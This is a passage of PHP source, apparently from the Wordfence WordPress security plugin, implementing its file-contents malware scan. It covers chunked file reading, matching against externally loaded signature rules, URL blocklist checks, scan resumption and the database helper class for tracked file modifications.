wordfence::status(4, 'info', sprintf(/* translators: PHP ini setting (number). */ __('Backtrack limit is %d, reducing to 1000000', 'wordfence'), $backtrackLimit));
}
}
else {
$backtrackLimit = false;
}
$lastCount = 'whatever';
$excludePatterns = self::getExcludeFilePattern(self::EXCLUSION_PATTERNS_USER | self::EXCLUSION_PATTERNS_MALWARE);
while (true) {
$thisCount = wordfenceMalwareScanFile::countRemaining();
if ($thisCount == $lastCount) {
//count should always be decreasing. If not, we're in an infinite loop so lets catch it early
wordfence::status(4, 'info', __('Detected loop in malware scan, aborting.', 'wordfence'));
break;
}
$lastCount = $thisCount;
$files = wordfenceMalwareScanFile::files();
if (count($files) < 1) {
wordfence::status(4, 'info', __('No files remaining for malware scan.', 'wordfence'));
break;
}
$completed = [];
foreach ($files as $record) {
$file = $record->filename;
if ($excludePatterns) {
foreach ($excludePatterns as $pattern) {
if (preg_match($pattern, $file)) {
$completed[] = $record;
continue 2;
}
}
}
if (!file_exists($record->realPath)) {
$completed[] = $record;
continue;
}
$fileSum = $record->newMD5;
$fileExt = '';
if(preg_match('/\.([a-zA-Z\d\-]{1,7})$/', $file, $matches)){
$fileExt = strtolower($matches[1]);
}
$isPHP = false;
if(preg_match('/\.(?:php(?:\d+)?|phtml)(\.|$)/i', $file)) {
$isPHP = true;
}
$isHTML = false;
if(preg_match('/\.(?:html?)(\.|$)/i', $file)) {
$isHTML = true;
}
$isJS = false;
if(preg_match('/\.(?:js|svg)(\.|$)/i', $file)) {
$isJS = true;
}
$dontScanForURLs = false;
if (!$options['scansEnabled_highSense'] && (preg_match('/^(?:\.htaccess|wp\-config\.php)$/', $file) || $file === ini_get('user_ini.filename'))) {
$dontScanForURLs = true;
}
$isScanImagesFile = false;
if (!$isPHP && preg_match('/^(?:jpg|jpeg|mp3|avi|m4v|mov|mp4|gif|png|tiff?|svg|sql|js|tbz2?|bz2?|xz|zip|tgz|gz|tar|log|err\d+)$/', $fileExt)) {
if ($options['scansEnabled_scanImages']) {
$isScanImagesFile = true;
}
else if (!$isJS) {
$completed[] = $record;
continue;
}
}
$isHighSensitivityFile = false;
if (strtolower($fileExt) == 'sql') {
if ($options['scansEnabled_highSense']) {
$isHighSensitivityFile = true;
}
else {
$completed[] = $record;
continue;
}
}
if(wfUtils::fileTooBig($record->realPath, $fsize, $fh)){ //We can't use filesize on 32 bit systems for files > 2 gigs
//We should not need this check because files > 2 gigs are not hashed and therefore won't be received back as unknowns from the API server
//But we do it anyway to be safe.
wordfence::status(2, 'error', sprintf(/* translators: File path. */ __('Encountered file that is too large: %s - Skipping.', 'wordfence'), $file));
$completed[] = $record;
continue;
}
$fsize = wfUtils::formatBytes($fsize);
if (function_exists('memory_get_usage')) {
wordfence::status(4, 'info', sprintf(
/* translators: 1. File path. 2. File size. 3. Memory in bytes. */
__('Scanning contents: %1$s (Size: %2$s Mem: %3$s)', 'wordfence'),
$file,
$fsize,
wfUtils::formatBytes(memory_get_usage(true))
));
} else {
wordfence::status(4, 'info', sprintf(
/* translators: 1. File path. 2. File size. */
__('Scanning contents: %1$s (Size: %2$s)', 'wordfence'),
$file,
$fsize
));
}
$stime = microtime(true);
if (!$fh) {
$completed[] = $record;
continue;
}
$totalRead = (int) $record->stoppedOnPosition;
if ($totalRead > 0) {
if (@fseek($fh, $totalRead, SEEK_SET) !== 0) {
$totalRead = 0;
}
}
if ($totalRead === 0 && @fseek($fh, $totalRead, SEEK_SET) !== 0) {
wordfence::status(2, 'error', sprintf(/* translators: File path. */ __('Seek error occurred in file: %s - Skipping.', 'wordfence'), $file));
$completed[] = $record;
continue;
}
$dataForFile = $this->dataForFile($file);
$first = true;
while (!feof($fh)) {
$data = fread($fh, 1 * 1024 * 1024); //read 1 megs max per chunk
$readSize = wfUtils::strlen($data);
$currentPosition = $totalRead;
$totalRead += $readSize;
if ($readSize < 1) {
break;
}
$extraMsg = '';
if ($isScanImagesFile) {
$extraMsg = ' ' . __('This file was detected because you have enabled "Scan images, binary, and other files as if they were executable", which treats non-PHP files as if they were PHP code. This option is more aggressive than the usual scans, and may cause false positives.', 'wordfence');
}
else if ($isHighSensitivityFile) {
$extraMsg = ' ' . __('This file was detected because you have enabled HIGH SENSITIVITY scanning. This option is more aggressive than the usual scans, and may cause false positives.', 'wordfence');
}
$treatAsBinary = ($isPHP || $isHTML || $options['scansEnabled_scanImages']);
if ($options['scansEnabled_fileContents']) {
$allCommonStrings = $this->patterns['commonStrings'];
$commonStringsFound = array_fill(0, count($allCommonStrings), null); //Lazily looked up below
$regexMatched = false;
foreach ($this->patterns['rules'] as $rule) {
$stoppedOnSignature = $record->stoppedOnSignature;
if (!empty($stoppedOnSignature)) { //Advance until we find the rule we stopped on last time
//wordfence::status(4, 'info', "Searching for malware scan resume point (". $stoppedOnSignature . ") at rule " . $rule[0]);
if ($stoppedOnSignature == $rule[0]) {
$record->updateStoppedOn('', $currentPosition);
wordfence::status(4, 'info', sprintf(/* translators: Malware signature rule ID. */ __('Resuming malware scan at rule %s.', 'wordfence'), $rule[0]));
}
continue;
}
$type = (isset($rule[4]) && !empty($rule[4])) ? $rule[4] : 'server';
$logOnly = (isset($rule[5]) && !empty($rule[5])) ? $rule[5] : false;
$commonStringIndexes = (isset($rule[8]) && is_array($rule[8])) ? $rule[8] : array();
if ($type == 'server' && !$treatAsBinary) { continue; }
else if (($type == 'both' || $type == 'browser') && $isJS) { $extraMsg = ''; }
else if (($type == 'both' || $type == 'browser') && !$treatAsBinary) { continue; }
if (!$first && substr($rule[2], 0, 1) == '^') {
//wordfence::status(4, 'info', "Skipping malware signature ({$rule[0]}) because it only applies to the file beginning.");
continue;
}
foreach ($commonStringIndexes as $i) {
if ($commonStringsFound[$i] === null) {
$s = $allCommonStrings[$i];
$commonStringsFound[$i] = (preg_match('/' . $s . '/i', $data) == 1);
}
if (!$commonStringsFound[$i]) {
//wordfence::status(4, 'info', "Skipping malware signature ({$rule[0]}) due to short circuit.");
continue 2;
}
}
/*if (count($commonStringIndexes) > 0) {
wordfence::status(4, 'info', "Processing malware signature ({$rule[0]}) because short circuit matched.");
}*/
if (preg_match('/(' . $rule[2] . ')/iS', $data, $matches, PREG_OFFSET_CAPTURE)) {
$customMessage = isset($rule[9]) ? $rule[9] : __('This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans.', 'wordfence');
$matchString = $matches[1][0];
$matchOffset = $matches[1][1];
$beforeString = wfWAFUtils::substr($data, max(0, $matchOffset - 100), $matchOffset - max(0, $matchOffset - 100));
$afterString = wfWAFUtils::substr($data, $matchOffset + strlen($matchString), 100);
if (!$logOnly) {
$this->addResult(array(
'type' => 'file',
'severity' => wfIssues::SEVERITY_CRITICAL,
'ignoreP' => $record->realPath,
'ignoreC' => $fileSum,
'shortMsg' => sprintf(__('File appears to be malicious or unsafe: %s', 'wordfence'), esc_html($record->getDisplayPath())),
'longMsg' => $customMessage . ' ' . sprintf(__('The matched text in this file is: %s', 'wordfence'), '<strong style="color: #F00;" class="wf-split-word">' . wfUtils::potentialBinaryStringToHTML((wfUtils::strlen($matchString) > 200 ? wfUtils::substr($matchString, 0, 200) . '...' : $matchString)) . '</strong>') . ' ' . '<br><br>' . sprintf(/* translators: Scan result type. */ __('The issue type is: %s', 'wordfence'), '<strong>' . esc_html($rule[7]) . '</strong>') . '<br>' . sprintf(/* translators: Scan result description. */ __('Description: %s', 'wordfence'), '<strong>' . esc_html($rule[3]) . '</strong>') . $extraMsg,
'data' => array_merge(array(
'file' => $file,
'realFile' => $record->realPath,
'shac' => $record->SHAC,
'highSense' => $options['scansEnabled_highSense']
), $dataForFile),
));
}
$regexMatched = true;
$this->scanEngine->recordMetric('malwareSignature', $rule[0], array('file' => substr($file, 0, 255), 'match' => substr($matchString, 0, 65535), 'before' => $beforeString, 'after' => $afterString, 'md5' => $record->newMD5, 'shac' => $record->SHAC), false);
break;
}
if ($forkObj->shouldFork()) {
$record->updateStoppedOn($rule[0], $currentPosition);
fclose($fh);
wordfenceMalwareScanFile::markCompleteBatch($completed);
wordfence::status(4, 'info', sprintf(/* translators: Malware signature rule ID. */ __('Forking during malware scan (%s) to ensure continuity.', 'wordfence'), $rule[0]));
$forkObj->fork(); //exits
}
}
if ($regexMatched) { break; }
if ($treatAsBinary && $options['scansEnabled_highSense']) {
$badStringFound = false;
if (strpos($data, $this->patterns['badstrings'][0]) !== false) {
for ($i = 1; $i < sizeof($this->patterns['badstrings']); $i++) {
if (wfUtils::strpos($data, $this->patterns['badstrings'][$i]) !== false) {
$badStringFound = $this->patterns['badstrings'][$i];
break;
}
}
}
if ($badStringFound) {
$this->addResult(array(
'type' => 'file',
'severity' => wfIssues::SEVERITY_CRITICAL,
'ignoreP' => $record->realPath,
'ignoreC' => $fileSum,
'shortMsg' => __('This file may contain malicious executable code: ', 'wordfence') . esc_html($record->getDisplayPath()),
'longMsg' => sprintf(/* translators: Malware signature matched text. */ __('This file is a PHP executable file and contains the word "eval" (without quotes) and the word "%s" (without quotes). The eval() function along with an encoding function like the one mentioned are commonly used by hackers to hide their code. If you know about this file you can choose to ignore it to exclude it from future scans. This file was detected because you have enabled HIGH SENSITIVITY scanning. This option is more aggressive than the usual scans, and may cause false positives.', 'wordfence'), '<span class="wf-split-word">' . esc_html($badStringFound) . '</span>'),
'data' => array_merge(array(
'file' => $file,
'realFile' => $record->realPath,
'shac' => $record->SHAC,
'highSense' => $options['scansEnabled_highSense']
), $dataForFile),
));
break;
}
}
}
if (!$dontScanForURLs && $options['scansEnabled_fileContentsGSB']) {
$found = $this->urlHoover->hoover($file, $data, $hooverExclusions);
$this->scanEngine->scanController()->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, $found);
}
if ($totalRead > 2 * 1024 * 1024) {
break;
}
$first = false;
}
fclose($fh);
$this->totalFilesScanned++;
if(microtime(true) - $this->lastStatusTime > 1){
$this->lastStatusTime = microtime(true);
$this->writeScanningStatus();
}
$completed[] = $record;
$shouldFork = $forkObj->shouldFork();
if ($shouldFork || count($completed) > 100) {
wordfenceMalwareScanFile::markCompleteBatch($completed);
$completed = [];
if ($shouldFork) {
wordfence::status(4, 'info', __("Forking during malware scan to ensure continuity.", 'wordfence'));
$forkObj->fork();
}
}
}
wordfenceMalwareScanFile::markCompleteBatch($completed);
}
$this->writeScanningStatus();
if ($options['scansEnabled_fileContentsGSB']) {
wordfence::status(2, 'info', __('Asking Wordfence to check URLs against malware list.', 'wordfence'));
$hooverResults = $this->urlHoover->getBaddies();
if($this->urlHoover->errorMsg){
$this->errorMsg = $this->urlHoover->errorMsg;
if ($backtrackLimit !== false) { ini_set('pcre.backtrack_limit', $backtrackLimit); }
return false;
}
$this->urlHoover->cleanup();
foreach($hooverResults as $file => $hresults){
$record = wordfenceMalwareScanFile::fileForPath($file);
$dataForFile = $this->dataForFile($file, $record->realPath);
foreach($hresults as $result){
if(preg_match('/wfBrowscapCache\.php$/', $file)){
continue;
}
if (empty($result['URL'])) {
continue;
}
if ($result['badList'] == 'goog-malware-shavar') {
$this->addResult(array(
'type' => 'file',
'severity' => wfIssues::SEVERITY_CRITICAL,
'ignoreP' => $record->realPath,
'ignoreC' => md5_file($record->realPath),
'shortMsg' => __('File contains suspected malware URL: ', 'wordfence') . esc_html($record->getDisplayPath()),
'longMsg' => wp_kses(sprintf(
/* translators: 1. Malware signature matched text. 2. Malicious URL. 3. Malicious URL. */
__('This file contains a suspected malware URL listed on Google\'s list of malware sites. Wordfence decodes %1$s when scanning files so the URL may not be visible if you view this file. The URL is: %2$s - More info available at <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=%3$s&client=googlechrome&hl=en-US" target="_blank" rel="noopener noreferrer">Google Safe Browsing diagnostic page<span class="screen-reader-text"> (opens in new tab)</span></a>.', 'wordfence'),
esc_html($this->patterns['word3']),
esc_html($result['URL']),
urlencode($result['URL'])
), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'))),
'data' => array_merge(array(
'file' => $file,
'realFile' => $record->realPath,
'shac' => $record->SHAC,
'badURL' => $result['URL'],
'gsb' => 'goog-malware-shavar',
'highSense' => $options['scansEnabled_highSense']
), $dataForFile),
));
}
else if ($result['badList'] == 'googpub-phish-shavar') {
$this->addResult(array(
'type' => 'file',
'severity' => wfIssues::SEVERITY_CRITICAL,
'ignoreP' => $record->realPath,
'ignoreC' => md5_file($record->realPath),
'shortMsg' => __('File contains suspected phishing URL: ', 'wordfence') . esc_html($record->getDisplayPath()),
'longMsg' => __('This file contains a URL that is a suspected phishing site that is currently listed on Google\'s list of known phishing sites. The URL is: ', 'wordfence') . esc_html($result['URL']),
'data' => array_merge(array(
'file' => $file,
'realFile' => $record->realPath,
'shac' => $record->SHAC,
'badURL' => $result['URL'],
'gsb' => 'googpub-phish-shavar',
'highSense' => $options['scansEnabled_highSense']
), $dataForFile),
));
}
else if ($result['badList'] == 'wordfence-dbl') {
$this->addResult(array(
'type' => 'file',
'severity' => wfIssues::SEVERITY_CRITICAL,
'ignoreP' => $record->realFile,
'ignoreC' => md5_file($record->realPath),
'shortMsg' => __('File contains suspected malware URL: ', 'wordfence') . esc_html($record->getDisplayPath()),
'longMsg' => __('This file contains a URL that is currently listed on Wordfence\'s domain blocklist. The URL is: ', 'wordfence') . esc_html($result['URL']),
'data' => array_merge(array(
'file' => $file,
'realFile' => $record->realPath,
'shac' => $record->SHAC,
'badURL' => $result['URL'],
'gsb' => 'wordfence-dbl',
'highSense' => $options['scansEnabled_highSense']
), $dataForFile),
));
}
}
}
}
wfUtils::afterProcessingFile();
wordfence::status(4, 'info', __('Finalizing malware scan results', 'wordfence'));
if (!empty($this->results)) {
$safeFiles = $this->scanEngine->isSafeFile(array_keys($this->resultFilesByShac));
foreach ($safeFiles as $hash) {
foreach ($this->resultFilesByShac[$hash] as $file)
unset($this->results[$file]);
}
}
if ($backtrackLimit !== false) { ini_set('pcre.backtrack_limit', $backtrackLimit); }
return $this->results;
}
protected function writeScanningStatus() {
wordfence::status(2, 'info', sprintf(
/* translators: 1. Number of fils. 2. Seconds in millisecond precision. */
__('Scanned contents of %1$d additional files at %2$.2f per second', 'wordfence'),
$this->totalFilesScanned,
($this->totalFilesScanned / (microtime(true) - $this->startTime))
));
}
protected function addResult($result) {
if (isset($result['data']['file'])) {
$file = $result['data']['file'];
$existing = array_key_exists($file, $this->results) ? $this->results[$file] : null;
if ($existing === null || $existing['severity'] > $result['severity']) {
$this->results[$file] = $result;
if (isset($result['data']['shac'])) {
$shac = $result['data']['shac'];
if (!array_key_exists($shac, $this->resultFilesByShac))
$this->resultFilesByShac[$shac] = [];
$this->resultFilesByShac[$shac][] = $file;
}
}
}
else {
$this->results[] = $result;
}
}
/**
* @param string $file
* @return array
*/
private function dataForFile($file, $fullPath = null) {
$loader = $this->scanEngine->getKnownFilesLoader();
$data = array();
if ($isKnownFile = $loader->isKnownFile($file)) {
if ($loader->isKnownCoreFile($file)) {
$data['cType'] = 'core';
} else if ($loader->isKnownPluginFile($file)) {
$data['cType'] = 'plugin';
list($itemName, $itemVersion, $cKey) = $loader->getKnownPluginData($file);
$data = array_merge($data, array(
'cName' => $itemName,
'cVersion' => $itemVersion,
'cKey' => $cKey
));
} else if ($loader->isKnownThemeFile($file)) {
$data['cType'] = 'theme';
list($itemName, $itemVersion, $cKey) = $loader->getKnownThemeData($file);
$data = array_merge($data, array(
'cName' => $itemName,
'cVersion' => $itemVersion,
'cKey' => $cKey
));
}
}
$suppressDelete = false;
$canRegenerate = false;
if ($fullPath !== null) {
$bootstrapPath = wordfence::getWAFBootstrapPath();
$htaccessPath = wfUtils::getHomePath() . '.htaccess';
$userIni = ini_get('user_ini.filename');
$userIniPath = false;
if ($userIni) {
$userIniPath = wfUtils::getHomePath() . $userIni;
}
if ($fullPath == $htaccessPath) {
$suppressDelete = true;
}
else if ($userIniPath !== false && $fullPath == $userIniPath) {
$suppressDelete = true;
}
else if ($fullPath == $bootstrapPath) {
$suppressDelete = true;
$canRegenerate = true;
}
}
$localFile = realpath($this->path . $file);
$isWPConfig = $localFile === ABSPATH . 'wp-config.php';
$data['canDiff'] = $isKnownFile;
$data['canFix'] = $isKnownFile && !$isWPConfig;
$data['canDelete'] = !$isKnownFile && !$canRegenerate && !$suppressDelete && !$isWPConfig;
$data['canRegenerate'] = $canRegenerate && !$isWPConfig;
$data['wpconfig'] = $isWPConfig;
return $data;
}
}
/**
* Convenience class for interfacing with the wfFileMods table.
*
* @property string $filename
* @property string $filenameMD5
* @property string $newMD5
* @property string $SHAC
* @property string $stoppedOnSignature
* @property string $stoppedOnPosition
* @property string $isSafeFile
*/
class wordfenceMalwareScanFile {
protected $_filename;
protected $_realPath;
protected $_filenameMD5;
protected $_filenameMD5Hex;
protected $_newMD5;
protected $_shac;
protected $_stoppedOnSignature;
protected $_stoppedOnPosition;
protected $_isSafeFile;
protected static function getDB() {
static $db = null;
if ($db === null) {
$db = new wfDB();
}
return $db;
}
public static function countRemaining() {
$db = self::getDB();
return $db->querySingle("SELECT COUNT(*) FROM " . wfDB::networkTable('wfFileMods') . " WHERE oldMD5 != newMD5 AND knownFile = 0");
}
public static function files($limit = 500) {
$db = self::getDB();
$result = $db->querySelect("SELECT filename, real_path, filenameMD5, HEX(newMD5) AS newMD5, HEX(SHAC) AS SHAC, stoppedOnSignature, stoppedOnPosition, isSafeFile FROM " . wfDB::networkTable('wfFileMods') . " WHERE oldMD5 != newMD5 AND knownFile = 0 AND isSafeFile != '1' LIMIT %d", $limit);
$files = array();
foreach ($result as $row) {
$files[] = new wordfenceMalwareScanFile($row['filename'], $row['real_path'], $row['filenameMD5'], $row['newMD5'], $row['SHAC'], $row['stoppedOnSignature'], $row['stoppedOnPosition'], $row['isSafeFile']);
}
return $files;
}
public static function fileForPath($file) {
$db = self::getDB();
$row = $db->querySingleRec("SELECT filename, real_path, filenameMD5, HEX(newMD5) AS newMD5, HEX(SHAC) AS SHAC, stoppedOnSignature, stoppedOnPosition, isSafeFile FROM " . wfDB::networkTable('wfFileMods') . " WHERE filename = '%s'", $file);
return new wordfenceMalwareScanFile($row['filename'], $row['real_path'], $row['filenameMD5'], $row['newMD5'], $row['SHAC'], $row['stoppedOnSignature'], $row['stoppedOnPosition'], $row['isSafeFile']);
}
public function __construct($filename, $realPath, $filenameMD5, $newMD5, $shac, $stoppedOnSignature, $stoppedOnPosition, $isSafeFile) {
$this->_filename = $filename;
$this->_realPath = $realPath;
$this->_filenameMD5 = $filenameMD5;
$this->_filenameMD5Hex = bin2hex($filenameMD5);
$this->_newMD5 = $newMD5;
$this->_shac = strtoupper($shac);
$this->_stoppedOnSignature = $stoppedOnSignature;
$this->_stoppedOnPosition = $stoppedOnPosition;
$this->_isSafeFile = $isSafeFile;
}
public function __get($key) {
switch ($key) {
case 'filename':
return $this->_filename;
case 'realPath':
return $this->_realPath;
case 'filenameMD5':
return $this->_filenameMD5;
case 'filenameMD5Hex':
return $this->_filenameMD5Hex;
case 'newMD5':
return $this->_newMD5;
case 'SHAC':
return $this->_shac;
case 'stoppedOnSignature':
return $this->_stoppedOnSignature;
case 'stoppedOnPosition':
return $this->_stoppedOnPosition;
case 'isSafeFile':
return $this->_isSafeFile;
}
}
public function __toString() {
return "Record [filename: {$this->filename}, realPath: {$this->realPath}, filenameMD5: {$this->filenameMD5}, newMD5: {$this->newMD5}, stoppedOnSignature: {$this->stoppedOnSignature}, stoppedOnPosition: {$this->stoppedOnPosition}]";
}
public static function markCompleteBatch($records) {
if (empty($records))
return;
$db = self::getDB();
$db->update(
wfDB::networkTable('wfFileMods'),
[
'oldMD5' => 'newMD5'
],
[
'filenameMD5' => array_map(function($record) { return $record->filenameMD5Hex; }, $records)
],
[
'filenameMD5' => 'UNHEX(%s)'
]
);
}
public function updateStoppedOn($signature, $position) {
$this->_stoppedOnSignature = $signature;
$this->_stoppedOnPosition = $position;
$db = self::getDB();
$db->queryWrite("UPDATE " . wfDB::networkTable('wfFileMods') . " SET stoppedOnSignature = '%s', stoppedOnPosition = %d WHERE filenameMD5 = UNHEX(%s)", $this->stoppedOnSignature, $this->stoppedOnPosition, $this->filenameMD5Hex);
}
public function getDisplayPath() {
if (preg_match('#(^|/)..(/|$)#', $this->filename))
return $this->realPath;
return $this->filename;
}
}